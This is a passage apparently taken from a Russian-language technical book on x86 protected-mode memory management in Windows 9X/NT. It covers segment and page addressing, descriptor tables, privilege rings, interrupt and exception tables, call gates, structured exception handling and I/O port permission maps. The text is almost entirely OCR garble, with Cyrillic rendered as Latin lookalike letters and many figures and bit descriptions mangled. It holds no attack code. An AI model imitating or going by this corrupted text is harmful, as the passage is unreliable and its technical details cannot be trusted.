O  « c i i c r e M H M i i »  c e r M e H T  a m  J io K a j ib H b ix  a e c K p H n T o p H b ix  r a o j im i ;  

O «ciicTeMHi)iii» cerMeiiT coctohhhh s a / ia m i (TSS -  t a s k  s t a t e  s e g 

m e n t ) .
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O o p .v ia x  ce/ie icropa :

O 6h tm  0-1 -  ypoBeHb npiiBHJieruii (nojie RPL);
O  6 iit  2 -  npH3HaK jioicaJibHoro (e c j in  I )  hjih rJio6aJibHoro (e c j in  0) 

aecK p H n Top a  (n o j ie  TI);
Q 6h t h  3-15 -  H H jie K c  (H O M e p  C T p o K H ) b  xa6jmne jie c K p irn x o p o B .

/[ecK pH n xopb i xpan H TO i b  x a 6 jn m a x  accK p m ixop oB . J i n x  B ceii cucTe- 

Mbi h m c c to i o/ma T a6 jn m a  GDT rjio6 a jib H b ix  a e cK p u n x o p o ii (H a nee 
ccb ijia exc jt p e rn c T p  GDTR), o/ma x a fvn m a  IDT a ecK p m ix o p o B  n p e p u -  

B a ira ii (n a  n ee  ccu J ia exca  p e n ic x p  IDTR), h m o k c x  npucvxcxBOBaTb 

MHOyKCCTBO TaOJIHH LD T aOKaJIbHblX AeCKpHriTOpOB (H a  HHX CCblJiaeiCH 

perHCTp LDTR). B 3thx 48-6hxobmx p ern cx p a x  M Jiaam ne 16 6 ii t o b  3a- 

HHMaeT /iJiima toh hjih hhoh flecK p iin xop H o ft x ao jm n b i, yM eH b inennaa na 

1, a c xa p m n e  3 2  6 h t3  npeacxaBJiHfOT co& o ii aapec  Ta6 jnn ib i.

H y jie B a a  « c x p o K a »  b  x a o jm n a x  a e c K p u r iT o p o B  ncer/ta « n y c r a » .  O o i i i h h  

4 » p M a x  a e c K p m iT o p a  j u i  sj «H e c H c x e M H b ix »  ce rM e H x o B :

O  o iix b i 0 - 1 5  i i  4 8 -5 1  -  n p e a e ji c e ra e iix a ;

O 6hxh 16-39 h 56-63 -  6 a 3 0 B b i i i  a a p e c  c e m e H x a ;

O 6ht 40 -  k  cei'Memy yace 6biJio oopameHHe (ecjin 1) hjih Hex (ec- 
jih 0);

O  6 h t  4 1  -  g J i x  c e r M e H x a  a a H H b ix  o n p e a e a a e x ,  p a a p e in e H b i j i h  «<rre- 

H H e / 3 a n i iC b »  ( e c j m  1) h j i h  T o .x b K C  « q T e H i ie »  ( e c j m  0), a .™  c e r M e n -  

x a  K o a a  B a p n a n x b i  Bbrr.n> u> iT  K a K  < < iicn o -X H eH H e /M T eH iie '>  ( e c j i n  1 )  

h j i h  TO .TbKO  « H c n o j iH e H i ie »  ( e c J iH  0);
O  6 h t  42 -  a J i f l  K o a o B o r o  c e x M e H T a  3 xo  n p n s n a K  « c o r J ia c o B a n H o c x n > >  

c e rw e n x a  ( a o c T y n H o c T H  n a p a j u ie j i b n o r o  a o c x y n a  k  H e iu y  n p o r p a M M  

c p a s H b iM H  n p H B H J ie r i iH M i i ) ,  a i a  c e r v ie H T a  a a i i n u x  o h  B c e r a a  0, 
a h j i x  c x e K O B o ro  c e rM e H x a  1;

O oiixbi 43 h  44 -  r j i x  K o a o B o ro  h  c x e K O B o ro  c e rM e n T O B  11, a n x  cer- 
M e H Ta  a a H H b ix  10 (c x a p m iiH  6h t  -  B c e ra a  e a n m m a ! ) ;

O  6hxw 45 h 46 -  aeftcxBiixeabHWH ypoBeHb iipHnn/ieniil cerMeHxa 
(nojie DPL); 

O  6 h x  47 -  n p H 3 H a K  n p n c y r c x B H H  c e r M e H x a  b  o n e p a T H B H o i i  n a .w ix n ;

O 6h x  5 4  -  n p i i3H a K  3 2 -p a 3 p « a H o ii  (e c jin  1 )  iijih lG -p a a p H a n o H  

(e c j i n  0 )  a a p e c a u H H  B H V T p ii  c e r M e in a ;

O 6 n x  55 -  eaHHima HSMepeHiiH n p e a e a a  cerw eH Ta -  4 K6 (e c jm  1) 
iijih 6aftx  (ecjin 0).

O o p M a x b i  <scH cxeM H bix» a e c K p u n x o p o B  c jie re a  a p y r i ie .  Cpean hhx 
M o jK e x B c x p e x H T b c a  a e c K p u r ir o p  c r ie im a jib H o ro  x im a , xaK  HaabiBaeMbiii 
< < iu jm 3 i>  hjih Tnn «cHCTe.MHoro>> aecKpmiTopa mojkho onpe-
a e j iH T b  n o  co a e p jK H M O .viy  6 h t o b  40-44 (cTapmufi 6 h t  -  B c e ra a  nyjib!):
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O  00000 hjih 01000 -  3anpemeHHoe 3HaiefiHe;
O  00001 hjih 01001 -  aociyriHHH T SS  a n a  1286 hjih 1386-+-;
O  00010 -  cerMeHT Ta6jinm>i jioKajiwibix aecKpunTopoB;
O  00011 hjih 01011 -  aaHHTHft TSS  jxjw 1286 hjih i386+;
O  00100 h jih  01100 -  BeHTHJib Bbi30Ba unsi 1286 h jih  i386+;
O  00101 -  BeiiTH.Jib aaaa'ui n .id  1286 h jih  i386+;
O  00110 hjih 01110 -  BeHTHJib npepbiBamw juim 1286 hjih i386+;
O  00111 HJIH 01111 -  BeHTHJib HCKJHOTeHIW HJI'A 1286 HJIH 1386+.
O m ic a H H a a  c x e M a  aapecamm n c n o j i b 3y e T c a  b  W indow s 3X. C t o h k h  

s p e H H H  n p H K J ia j iH b ix  n p o r p a M M  o n e p a T H B H a a  n a M H T b  n p e a c T a B J ia e T  c o -  

6 o h  orpoM Hoe ( 2 32 6 a i iT O B )  o o in e e  n p o c T p a H C T B O , p a 3 6 i iT o e  H a  o T a e j ib H b ie  

c e m e H T b i .  B s a B H C H M O C T ii o t  ypoBHH npHBiiJierHH n p o r p a M M b i  h ypoB- 
n e H  n p i iB H J ie r i iH  c e rM e i iT O B  k  H e K O T o p b iM  113 h h x  y  K a a c a o H  K O H K p e T H O ii 

n p o r p a M M b i  H M e e T C H  a o c T y n ,  a  k  n e K O T o p b iM  -  H eT .

4 .1 .1 .2 .  C m p a n u H H a n  o p z a H U 3 au ,U R  a d p e c n o z o  

n p o c m p a n c m e a

B  3to m  c jiyn a e  aapec  (TOHHee, J iu u e im u u  a d p e c )  H H T ep ecy iom e ii a  v e i l  - 

kh  naMHTii npeacTaB .iiaeT c o o o h  oaH o  3 2 -6 iiT0B 0e h h c jio . C T ap u iiie  

10 o h to b  S Toro  TH caa n rp a ioT  poJib im a eK ca  b K aTa jio re  T a6 jn m , c oa ep - 

>KameM yKaaa-rejiH  Ha 1024 T ao ju m b i cTpaiiH ii. B w op aB  o a n y  113 s th x  Ta6- 

jih h , r ip o n e c co p  n o  c jiea y iom H M  10 6irraM  J iH iie iiH oro  aa p eca  HSBJieKaeT 

H3 3T0H TaOJIHUbI 6a30BbIH aapec  4-KH.TOOaHTHOH (HJIH 4-M era6aH TH 0H ) 

cxpa iiH H H  naMHTH. H aK O neii. M jvaam ne 12 6utqb J iim e tin o ro  aap eca  c jiv -  

>KaT cM euienH eM  b aTo ii C Tpam m e (cm . phc. 4 .2 ).

flHMetwbw aflpec

Hnaexc e HHfleKC 8
Karanore TaonMue CMeLuemie
ra6nnu ctpaHMu

12,

Karanor raSfiKU

Aapec ra6nnL(H

Ta & w iia  cTpaH‘,114

Aapec cTpawHUbi

Ta& w ita  crfOHHu

-►  Aapec

Pmc. 4 .2 ❖ CipaHUHHafi aApecau,HH
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OopMaT 32-6htoboh «ctpokhs> KaTajiora ra&nHU a m i  Ta6jiHiibi cTpamm:
O OUT 0 -  IipH3HaK n p H C y T C T B H H  C T p a H H U H  B OnepaTHBHOH naMHTH;
O  o u t 1 -  npH3H3K jocryiiHocTH 3anncn;
O  6h t 2 -  cfwiar 3amHTbi CTpammbi;
O  6ijt  5 -  npiisHaK Toro, hto KaKaa-TO nporpaMMa o6pamaeTCH 

k crpam m e;
O 6h t 6 -  npH3HaK «3anm-ocTH» GTpaiiimbi bo BpeMH aarrncH b nee;
O  6htm 12-31 -  c T a p m n e  20 6 h t o b  c f n o H H e c K o r o  a ; ip e c a  c T p a H H U b i 

( a  M . a a / n in ie  12 B c e r a a  p a B H b i 0, T a K  K a K  a a p e c  c r p a n im w  K p a r e n

4096).
B o 6 m e M  c / i y i a e  o n e p a T H B H a a  n a .M H T b  o K a s b iB a e T c n  « p a 3 p e 3 aHHc>H» 

n a  M H O > KecT B O  <' j i o c K y t k o b  » ( p a 3M e p o M  n o  4  K 6  h j i h  4  M 6  K a jK A b i i i ) ,  

K O T O p b ie  < 'CIffHTbI>  B  I ip O H 3 B O J Ib H O M  n o p H f lK e .  /’ I f ia  C O C e /IH H X  J I H H e it l lb lX  

a i i p e c a  M o r y T  o T o o p a a c a T b c n  n a  c o B e p m e n n o  y z ia i ie H H b ie  a p y r  o t  f l p y r a  

ipU3unecKue adpeca, a  M o r y r  -  n a  o a i i h  h  t o t  * e .

H o nofloGnatf cxeMa aapecawni b hhctom Biuie He BCTpenaeTCH, a W in 
dow s 9X  h W indow s N T  ncno;n>3yiOT oieayioiuyio KOMoiiHannio: onepa- 
UHOHHaH CHCTeMa ripiiMeHHeT «cTpaniiHHoe» paaoHemie naMHTH /yin op- 
rann3amm «napa.TJiejibHbix» aapecHbix npocTpancTB, a bot npHK/ia;uiF,ie 

nporpaMMbi HcnoJib3yioT a n x  a/ ipecann ii bhytph hhx ce/ieKTopu h cMe- 
nieiiHH. xapaKTepHbie ana. pacc.MOTpeiiHOH Bbiuie «cerMeHTHofi» MOAean. 
B /tecKpHriTopax, omicbiBaromnx a^pecnoe npocTpaHCTBo npnicJia/iHbix 

nporpaMM, W indow s 9X  h N T  ycTanaBJiiiBaioT HyjieBOH 6a30BbiH a;jpec 

ii MaKciiMajibno B03M0XHbn1 n p e a e ji,  TaK hto cM em em ie  w rpaeT  poab jih- 
iieiiHoro aapeca. Mmc-hiio thrum  oopasoM pea.raayeTCH ru iocK a x Mode.Jib 

(em e ee n a 3 b i B a i o T  anrjiniickiim cjiobom f l a t )  o n e p a T H B H o ii  naMHTH, Kor- 
Z(a c tohkh 3peHHH npuKJiaAHoii nporpaMMbi ee azipecnoe npocTpaHCTBo 

onncbiBaeTCH nenpepbiBHOil nocjieAOBaTejibHOCTbio aapecoB co 3fiane- 
HIlHMli OT 0 AO 232- l .

4.1.2. MexaHM3Mbi 3amnTbi naMHTH
n PH paccMOTpeHHH MexaHH3Ma cerMeHTHOH aapecaumi BCTpeHaaocb 

noHHTHe ypoBHH npiiBHJierHH, nacTa.'io BpeMH paccMOTpeTb Bonpoc nozi- 
po6nen. IIo.th R P L  ce.rieicropa h D P L  jecKpmiTopa coctoht H3 2 6htob  

Ka/K/ibiii, TaK hto b hhx Moryr 6biTb 3anHcaHbi 3HanenHH B HtrrepBa/ie ot  

0 ao 3. 3naHeHHe 0 oooTBeTCTByeT HaiiBwcoieMy vpoBHio iipvii>,njM>rnH, 
snaneHHe 3 -  naiiMenbiiieMy OopMa.ibHbie voiobhh aocTvna co cTopoHW 

nporpaMMbi k s-i'ichkc naMHTH:
O a.th cTeKOBoro cerMeHTa CPL=RPL=DPL;
O  miane C P L  <  R P L  < D P L .
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IIpH HeBbinojiHeHHH 3thx ycjiOBHH b npoueccope renepHpyeTca h c - 

KJiioHeHHe.
ypOBHH npHBHJieniH HaCTO Ha3bIBaiOX KOJihUOMU 3(1111,unibt, TaK KaK IIX 

M05KH0 yCJIOBHO H300pa3HTb B BH/IC KOHUCUTpHHCCKHX JTHHUii 060p0HbI, 
OKpyacarouiHX cpe/uieBeKOBbiH ropozi: BHeniHHe pBbi h seMJiHHbie Bajibi 
sauiHmarox J iawra KpecTban h peMecjienmiKOB, aawee ana  ooecneneHHa 
6e30nacH0CTH 6o.nee Sorarhix h  3HaTHMX y.xenoB o6mecTBa iiohbjlhiox- 
ca aepeBHHHbie cTeHbi, HaKOHeu b uenxpe ropoaa 3 a  KaMCHHoii creHoii 
pacnojiaraexca cxajibnaa 6ainn>i, b kotopoh o6nxaeT npaBHTejib. MS 
Windows pa3\remaeT caMoe ce65i b nyjieBOM KOJibue 3amiiTbi (ringO), 
nna  ripiiKJiaanbix nporpaMM otboah t TpeTbe Kojibqo (ringS ), a nepBoe h 
BTopoe He McnoJibsyioTcH. UporpaMMHbie KOMiioiieiirbi ny.neBoro Ko.xbna 
HMeioT ripaBO BbinojiHarb Jiioobie npiiBH/ierHpoBanHbie KOMan/tbi npouec- 
copa; ohh M orjT oopamaTbca k jhoGmm 4>parMeHxaM naMHTH h iicno/nnrrb 
;no6on K04, npiicyxcTByioiJiHii b cwcxeMe. Box no'ie.viv BHpycw, CTapxyio- 
inne H3 iipiiK/ia^Hbix nporpaMM, raK cxpeMaxca «n po6paxbca b ny;ib».

B W in d o w s  9X/NT B03M0>KH0cxb flocxyna nporpaMMbi k KaKOMV-jni6o 

(fipar.Menxy naM axii mojkcx npoBepaxbcn ;ib<i>k/u>i: 1 ) bo BpeMa xpaHcjia- 
u h h  cerMenxHbix a/ipecoB b jiHiieiinbie; 2) bo BpeMa xpauc jiam in  jiiiiieii- 

ubix b (|)H3HT-iecKHe. i],a>Ke ec;m  ziecKpunxop cei \ ie ina coaepacHx «no/i- 
xoaaiU H H » R P L , aaJieKO He 4>ai<x, hxo nporpaM M a cyMeex BbinojiHHXb 

oopam eHiie, Be^b Ha hcxo;i onepam m  bjihhiox TaKJKe 6htm  1 ii 2 b cxpo- 

Kax xao.xHiibi cxpaHim. B pe3yjibTaxe aapecHoe npocxpaHCTBo npnKjia;i- 
Hoii nporpaMMbi xaiOKe OKa3biBaexcH «Hcno.xocoBaHHbiM» Ha /iocTynnbie 

h  HeaocxynHbie eii pernoHbi.

4 . 1 . 3 .  0 6 p a 6 o T K a  n p e p b iB a m iM  u  ucitn iOM eHiiM

Paooxaa b 3amnmeHH0M pe>KHMe, npiiKJia^naa nporpaMMa ne B3atiMo- 
aeilcTByeT hh  c peajibHbiMH (|)H3HMecKHMii a.rpecaM ii naMHTH, h h  c peajib- 
HblMH BHeiilHHMIl yCXpOHCXBaMH. TaKHM 06p330M, nporpaMMa BbinOJIHH- 
exca Ha HeKoxopofl eupm yajibuou Maiuuue, a ynpaBJiaex ee BbinojinemieM 
cnenHajibHhiii KOMnoneHX onepaijHOHHOH CHCxeMbi VM M  -  M euedM ep  

eupm ya.nubix mowuh.

B u p x y a j iH s a m ia  M a u iH H i ib ix  p e c y p c o B  b 3a m m u e H H 0 M  peacuMe o n u p a -  

e x c a  H a  M e x a H H 3 M  o o p a 6 o T K H  npepueanuu  h  ucxjiimeHuu.
T e p M H H  « n p e p b iB a H H e »  a n a j io m H e H  n o  c m h c j i v  C B o e M y  a H a j io r y ,  n p n -  

M e H a B iu e M y c a  b  p e a / ib i io M  p e> KH M e  p a o o x b i  n p o u e c c o p a .  r i p e p b iB a n n a  

M o r y T  n o c T y n a T b  K a K  c o  c T o p o H b i b i i c h i i r u x  y c x p o i i c x B  ( x a i iM e p a ,  COM- 
n o p x a ,  3 B y K 0 B 0 H  K a p x b i i i  n p o H i i x ) ,  x a K  h  r e n e p i i p o B a x b c a  n p o r p a M M H O  

IIO C p e /IC X B O M  M a iJ IH H H O H  K O M a H A b i «IN T  XX>>.
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IIOHflTHe « HCKJHOHeHHfl»  B KaKOH-TO Mepe COOTBeTCTByeT CHTyaHHH, 

B03HHKaroineH npn reHepam m  npepbiBaHHH 0 (nonbiTKa aejiem ia Ha 0 ) 
h 6 (HeBepHbiH Koa MaiHHHHoii KOMaHflbi) peajiLiioro pexcHMa. 3 th  npe- 
pbiBaHHM reHepupyioTCH caMHM npoueccopoM npn BO3HHKH0BeHiiH b hcm 

HCKJIKMHTeJIbHbIX CHTVaHMH, TpeoyiOUIHX o6pa6oTKH CO CTOpOHbl onepa- 
Uhohhoh CHCTeMbi hjih iipuKJia/iHoH nporpaMMbi. HmmiiaTopoM hckjiio- 
hciihh 3awHiueHHoro peacHMa TaKxe cjivjkht caM uponeccop. HanpHMep, 
itcfcjifOHeHHe ODh reiiepupyeTca npn nontrrKe nporpaMMbi o6paTHTbca 

k cerMeHTy naMaTH c oojiee bhcokhm ypoBHeM npHBiiJierHH1.
MS W indow s pa3MemaeT b oxae/ibHbix cerMemax chctcmhoh naMa

TH neKOTopoe KOJiii'iecxBo o6pan0T'inK0B npepbiBaHHH h hckjhohchhh, 
4>OpMHpyeT H3 AeCKpHHTOpOB 3THX CfTMCHTOB (TOHHee, 113 HX BeHTiuieii!)
Ta6jinny ID T  h sarpyjicaeT ee aapec b 48-6htobhh peracrp  ID T R . B  ID T  

HMeeTca MecTO j v i h  256 «cTpoK», bot HeKOTOpbie cooTBeTCTByromne hm 

npepwBaHHH h HCKJiKMeHHa:
O  0 -  nonbiTKa aejie iw a Ha iiyjib;
O  1 -  npn ycTaHOBJieHHOM b 1 6nxe T  b perncrpe (|i./iaroB reHepupy- 

t r c f i  nocjie BbinojmeiiHH npoueccopoM KajKaoii KOMan/ibi;
O  3 -  KOMaH^a renepam m  axoro npepbiBamia HMeeT 0aH06iiT0BbiH 

Koa OCC-h h 3ape3epBHposaHa j u is i Hcn0Jib30BaHiia b OTJiaa^HKax;
O 6 HeBepHbiH Koa MaiiiiiHHOH KOMairabi:
0  8 -  aBoiiHaa oinn6Ka (ncKJiKWHne bo3hhkjio bo BpeMa o6pa6oTKii 

apyroro  HCKjironeHHa);
O  OAh -  neBepiibiii TSS ;
O  OBh -  oiun6Ka 3arpy3Kii cerMeHTa;
O  OCh -  ouiHOKa b CTeKe;
O  ODh -  o6m aa oninoKa 3aniHTH (HanpHMep, nonbiTKa oSpaniTbca 

k cerMeHTy naMaTH c 6ojiee bhcokhm ypoBHeM npiiBiiaeniH);
O  OEh -  n o n b iT K a  o6pameHiia k  c r p a n im e ,  OTcyTCTByromeii b o n e p a 

T H B H o i i  naMara;
O  13h -  o6pameHiie k an ckobomy cepBiicy co cropoHbi nporpaMMbi, 

BbinojiHHiomeHca b V M 86;
O  20h -  o6pameHiie k BHpTva.>ibH0My apafiBepy H3 0 Kojibiia 3amnTbi 

b W indow s 9X;
Q  21h -  oopameHiie k cepBHcaM onepauHOHHOH chctcmm M S -D O S  

co cTopoHbi nporpaMMbi, BbinojiHarcuu eft ca b V M 86;
O  2Eh -  nepexoa H3 0 b 3 kojimio 3amiiTbi b W indow s NT;

1 3 T a  c i r r y a y i w  n a c T O  B 0 3 H i iK a e T  H e  « 3 jro H a M e p e H H 0 » , a  n p n  r r p o r p a M M H b ix  

omH6Kax.
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O  30h -  nepexo/i m  0 b 3 Koabuo samHTbi b W indows 9X;
O  30h-3Fh -  annapaTHhie npepbreaHiia Irq0- I r q l5 b W indows NT;
O  50h-5Fh -  annapaxHbie npepbiBaHiia Irq0- I r q l5 b W indows 9X.
MacTb npepbiBanHH h ncKJiio'!ennft nepBOHanaabHO He HMeioT cbohx 

4JIHHHbIX» o6paf)OTHHKOB, a O6c a V >K HB a IOTC H HeKOTOpbIM VHHBepCaab- 
HMM KOflOM. Ho no Mepe ycTaHOBKH b II3 B.Y1 hobmx ycTpoiicTB (Hanpn- 
wep, 3BVK0B0ii KapTbi) h HHCTaaaauHii cooTBeTCTByioiniix apaiiBepoB 
MHorne npepwBaHHfl o6peTaioT cbohx «hobmx xo3HeB».

O 6bIHH0 HCKJIKJ'IHTe.'IbHaM CHTyaUHH B03HHK3eT B IipffKJia/OIOH npo
rpaMMe (Ko.xbiio 3amiiTbi 3 ). a o6pa6oTKa ee npoH3BoanTca rae-To b Hea- 
pax MS Windows (KOJibHO 3amHTbi 0). KaK >Ke coraacoBaTb ypoBHH ripn- 
BHaernii? Ha/io B0cn0ab30BaTbca HeoanoKpaTHo ynoMHHyTbiM panee, ho 
noKa ne paccMOTpeHHbiM rioapo6Hee «BeHTiiaeMK 3 to  cpeacxBO, no3Bo- 

aaiomee nepe/uiBa'rb ynpaBJieime Meacay ko/jobwmh cemeHTaMH c pa3- 
HWMH ypOBHSMH JipiIBUJJemM.

OaKTmecKH Bemiuib npeacTaBaaeT coooii 64-6iitobhh  aecKpimTop 
crienHajibHoro BHiia. coaepacamnn cc.biaKy Ha aapec, KOTopuft yKa3biBaeT 
/snyrpb KaKoro-TO apyroro, bo3mo>kho, oo.'iee npHBHaerapoBaHHoro cer- 
MeHTa. Pa3yMeeTca, npnK_ria;ina>i nporpaMMa He MoaceT caMocTOHTejibno 
coa/jaTb BCHTHJib h «npoae3Tb» Liep<;3 Hero, 3to  ao/ixeH npenBapiiTe.ibHO 
c;je;fari) koa. pa6oTaK>mmi b nyaeBOM Koabue 3amnTbi. OopMaT BeHmaa:

Q  6h tw  0 -15  h 48-63 -  CMemeiine aapeca;
O  6mtu 16-31 -  ceaeKTop aapeca;
O  6h tw  32-36  -  cy e rvM K  napa.w erpoB , c o x paiweMbix b cTeKe;
O  oiiTbi 40 -43  -  npii3HaicH rana BeHTHJia ( c m . Bbirne b n. 4.1 .1 .1 );

Q  6 iit 44 -  a aa  ciicTeMHbix /iccKpiiirropoB scerfla 0 (cm. Bbiuie 
b n . 4.1.1.1);

O  6htm 45-46 -  ypoBeHb npiiB iiaeniii bchthjih (noae D P L );
O  6h t 47 -  «BbiK.ino4aTejib>> bchth/m. ecan oh paBen 0. to  Hcnoab- 

30BaHiie BeHTiiaa h6bo3mo>kho m reHepupyeTca ucKJiKmeHiie OBh;
O  ocTajibHbie oiiTbi paBHbi 0 .
BeHTH.'ib aerKo oT/itrfHTb b Taoamie aecKpunTopoB no xapaKTepHHM 

aaa Hero 6htobhm npH3HaicaM ( 6htm 40 -43 ). BenTnan 6biBaioT Tpex 

th iiob:
O  BeHTnab npepbiBaHna/aoByiUKH -  no3BoaaeT o6paoaTbiBaTb npe- 

pblBaHRH H HCKJIIOHeHHa;
O  BeHTHab Bbi30Ba -  no3BoaaeT nporpaMMe aeraabno nepexoaiiTb 

b apyroii cerMeHT npn homoium RoMan/ibr «C A L L » ;
O  BeHTnab 3aaaMH -  no3BoaaeT onepanHonnoH cucreMe nepeKaio- 

'niTbcii c oanoii saaa^H na apyryio.
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Te\i He MeHee npHKJiaflHaa nporpaMMa caMa MO>icex o6pa6oxaxb 

B TpeTbeM KOJibue 3amHTH HCKOTOpble HCKJIIOHeHHa, npHHHHOH KOTOpHX 

CTaJia. Ka>K/iOMy hcrio jihhiomeMy ca b CHCTeMe n0T0Ky onepauHOHHOH ch- 
CTCMOH no VMOJIHaHHfO CTaBHTCa B COOTBeTCTBHe npHMHTHBHblH «6a30- 
bm h» oopafioT'iHK, 0T06paacaK>mnH aBapHHHoe coo6meHHe b 0T,aejibH0M 

O KHe hjih Ha «chhcm aKpaiie CMepTH» (ec.ui n o r o K  pa6oTaeT b HVJieBOM 

KOJibue sainnxbi W in d ow s N T ).  Ho sxot o6pa6oTMHK nojiynaeT ynpaB- 
jienne jioBOJibno pe/iKO, noxoMy hto 6 u 6nuom eKU epe.Mem i u m o jiH e n u a  

(R T L  -  Run Tim e L ib ra ry ) hsbikob bmcokoto ypoBira, Ha KOTopbix iih- 
myxca npHK-xaaHbie nporpaMMbi, BKJnoHaer cboh o6paooxHHKH. KpoMe 

Toro, npn noMomu Mexami3Ma «try/except>> asbnca C h + +  nporpaMMHCT 

MOJKeT vcTaHOBHTb n w  «onacHoro» (fipar.MOHTa p a 3 p a n a tm b a e m o ii npo
rpaMMbi eme ofliiy, «  h fit e ji ji e ktv a ji b h y 10 »  iipoue/iypy o6pa6oTKH hckjiio- 
HeHKa, npn stom  CTapbie o6paooTHHKH He nponaayT, a npocTo oi<a»cyTca 

b uenoHKe o6pa6oTHHKOB no3aaH noBoro. KazK/iMii hobhh ycTanaij.au- 
BaeMbifi oSpaooTHHK oyaeT pa3MemaTbca BnepeaH cTapbix, orrecHaa hx 

b rjiyoHHy cTCKa. Ilpn  bo3hhkhob6hhh HCKJiioHHTejibHOH cHTyaqHH Kaac- 
flwfi H3 06pa00THHK0B, nojiyHHB ynpaBJieHHe, MoaceT aaBepmnTbca, noMe- 
cthb b E A X  Ko/i 1 (iicK.'HOHeHHe yciieuiHo o6pa6oTano), 0 (HCKJHoneHJie 

He 06pa60TaH0, nepe/iarb ynpaBJieHHe c'jieayioine.My o6paooTHHKv b ne- 
noHKe) hjih -1  (ncKJHOHeHne npoHrnopHpoBaHC), npoaojiaaiTb nporpaM
My). 3Ta cxeMa Ha3bmaeTca « crnpyK m ypuou  o6p a 6 orm iou  u c K .w m e m iu » 

(S E H  -  Structured Exception Handling). OnucaTejib Kaacaoro oopa6oT- 
HHKa b uenoHKe coctoh t H3 zibvx 32 -6htobhx noaeii: 1) yianaTeaa na 

npeaHayuniH onucaTejib; 2 ) aapeca Koaa nponeaypbi o6pa6oTKH. CaMbiii 
nepBbiii om icarejib b uenoHKe npn cTapTe noxoica MOJtceT 6bm> nansen no 

aapecv FS :[0 ], caMbin nocjieamrii HMeeT b nojie vKasaTejia Ha npeflHfly- 
u u i i i  o n u c a T e j i b  3H a n e H H e  - 1  (OFFFFFFFFh).

O n e p a m i o H i i a a  c u c x e M a  t o j k c  3K t h b h o  n c n o , !ib 3 y e x  M e x a H H 3 M b i o o p a -  

o o t k h  n p e p b iB a H H H  h  H C K jn o H e H H H . H a n p i iM e p ,  n p n  h x  i i o m o ih h  B i i p x y -

Aflpec npe^wAyiUero —̂  Aapac npeflMflyujero • • • O FFFFFFFF h

Aapec Koaa Aflpec Koaa Aflpec Ksaa

Koa npoueflypbi 
o6pa6oTHMKa

Koa npoueaypt! 
o6pa6oTMnna

Pmc. 4.3 ❖ UenoHKa 06pa60XHMK0B HciaiioHeHHM
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a JiH 3 y e Tc a  n a M H T b , z io c T y m ia H  n p H K Jia flH O H  n p o rp a M M e . B caM OM  zie/ie, 

p e a jib H b iH  o o b e M  o n e p a T H B H o ii  n a M jrrH , y c T a H O B .ie H H o ii  H a H e a o p o ro ii  

II3BM , p e flK o  n p e B b im a e T  HecKOJibKO c o t c h  M e ra6aH T, b  t o  B peM H  K aK  

azip e cH o e  npocTpaHCTBo nporpaM M bi co c T a B Jia e T  4 F6. H e M iiH y e M O  n a c T b  

c T p a m m  h j i h  c e rM e H TO B  n p o c T o  H e iio M e ii;a c T C H  b o n e p a T H B H y io  riaMHTb, 

a  c o je p m iM o e  h x  x p a n u r c x  m  zu fcK e 1. B u t 4 7  b  # e c K p n n T o p e  tb k h x  

c e rM e H TO B  h j i h  6h t  0  b CTpoKe T a 6.'iM iiM  CTpanHii c6p om eH  b 0. h  n p n  

n o n b r rK e  o o p a n i T b a i  k  Ta K O M y  c e rM e H T y  h j i h  CTpaiiMne B 0 3 H H K a e T h c -  

K JiK JH em ie. y n p a B J ie H iie  r io J iy n a e T  c jic Te M H b iH  o 6p a 6o r a i K  H C K jn o 'ie iiH H , 

K 0T 0p b iH  cM H Tb iB a e T HyacHbxil (jjp a i NieHT c /iHCKa, K on n p yeT  e ro  b o n e p a 

T H B H y io  n a M H T b , h  c q a c TJiH B a n  n p o rp a M M a  n o jiy n a e T  B O K A C Jie H H b m  a o - 

c T y n  k  H e o 6xo/tHM OM V c e rM e H T y  h . i h  C T p a H im e .

BHpTyaJiH3yioTC5i h  BHeuiHHe ycTpovicT ira. KaK  H3BecTH0, h x  k o h tp o ji-  

j ie p u  nporpaM M iipyioTCH  nepe3 n o p m  BBoaa-BbiBozia. C jio b o  coctohhhm  

KajKflOH nporpaM M bi co^epacHT n o jie  IOPL -  ypoBeH b npHBHJierm i bbo- 

na-Bbreoaa, n o  y M o m a n ii io  e ro  :m aM eiine paBiro 0. K p oM e  T oro , Ka>K/ioii 

Bbirio.’ifia fo in eH ca  nporpaM M e c t b b h t c x  b  co o T B e rcT B u e  6 u m o e a x  x a p m a  

e e o d a -e u e o d a  ( io m a p )  pa3MepoM 8 K 6, Kaac/ibiH 6 h t  K O Topoil cooTBeT- 

c iB y e T  KaKOMy-TO nopTy. E c j h i  TeK yiiu i ii ypoBeH b npHBiiJierHH n p o rp aM 

M bi CPL=IO PL (>rro HMeeT M ecTo, e c jin  3Ta n p o r p a M M a  -  KOMnoneHT on e- 

pauHOHHOH cucTeMbi, HanpHMep B iipTyajibH biil jp a w B ep ). t o  KapTa n p o cT o  

HraopHpyeTCH, b  npoTHBHOM c jiyn a e  peaKUHa n p o u ecco p a  Ha n onb iTK y a o - 

CTJTia K  n op T y  3aBHCHT OT COAepjKHMOFO KapTbl. Ec'JlH COOTBeTCTByiOIHHH 

6 h t  b KapTe ycTaHOBJieH b 1, t o  n p n  o6pam eHHH k  s to m v  n o p T y  n p o n c x o -  

flHT HCKJiKweHHe O D h, oopaoaTbTBae.woe on ep au iioH H o fi CHCTeMoii.

B W indow s 9X no VMOJmHiiio ofinyjieiibi ohtm, cooTBeTCTByiomne 

n o p -ra M  B H a e o a a a riTe p a , r io c jie a o B a T e jib iio ro  H irre pcJjeH ca ( 3 F 8 h - 3 F F h  ii  

2 F 8 h - 2 F F h ) ,  napajmejibnoro H H Te p cfje iica  ( 3 7 8 h - 3 7 F h )  h  CMOS-na.MH- 
t i i  ( 7 0 h - 7 1 h ) ,  a ocTa /ib itb ie  6i iT b i  y c T a n o u jie i ib i  b  1. O o p a o o T H U K  B 0 3 - 

HHKiuero npn oopameHHH k  h h m  h c k jh o h c h h h  n u T a e T c a  H a ir r n  c o o t b c t -  

c T B y io m H H  /iaH H O M y n o p T y  apaiiBep i i  nepeaaTb eny y n p a B Jie H H e , a e c jn i  

eMy 3To H e yjiaeica, t o .. .  npocTo o 6i iy ji> ie T  c o o T B e T C T B y r o m n ii  6h t  b  K a p 

Te B B oa a-B biB O /ia, O TK p b iB a s . Ta K H M  06pa30M, n o jiH b iH  f lo c T y n  k  nopTv. 
Bnpo'ieM, h h  npn KaKHX yc/ioBH M X He o o h  v jim io tc h  6h t h ,  cooTBeTCTByio- 
m n e  nopTaM K o n r p o ju ie p a  n p M M o ro  a o r r y n a  k  n a M H T ii h  H e K O To p b iM  ; i p y -  

